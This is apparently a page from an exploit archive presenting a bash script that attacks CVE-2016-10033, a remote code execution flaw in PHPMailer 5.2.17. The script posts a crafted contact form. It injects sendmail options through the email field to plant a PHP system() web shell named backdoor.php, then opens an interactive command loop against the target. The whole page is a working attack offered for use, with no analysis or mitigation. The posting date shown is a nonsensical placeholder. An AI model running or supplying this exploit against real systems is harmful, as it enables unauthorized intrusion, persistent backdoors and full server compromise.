Home / os / win8

PHPMailer 5.2.17 Remote Code Execution Exploit

Posted on 30 November -0001

<HTML><HEAD><TITLE>PHPMailer 5.2.17 Remote Code Execution Exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/bin/bash # CVE-2016-10033 exploit by opsxcq # https://github.com/opsxcq/exploit-CVE-2016-10033 echo '[+] CVE-2016-10033 exploit by opsxcq' if [ -z "$1" ] then echo '[-] Please inform an host as parameter' exit -1 fi host=$1 echo '[+] Exploiting '$host curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe Content-Disposition: form-data; name="action" submit ------WebKitFormBoundaryzXJpHSq4mNy35tHe Content-Disposition: form-data; name="name" <?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?> ------WebKitFormBoundaryzXJpHSq4mNy35tHe Content-Disposition: form-data; name="email" vulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php ------WebKitFormBoundaryzXJpHSq4mNy35tHe Content-Disposition: form-data; name="message" Pwned ------WebKitFormBoundaryzXJpHSq4mNy35tHe-- ' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php' cmd='whoami' while [ "$cmd" != 'exit' ] do echo '[+] Running '$cmd curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d echo read -p 'RemoteShell> ' cmd done echo '[+] Exiting' </BODY></HTML>

 

TOP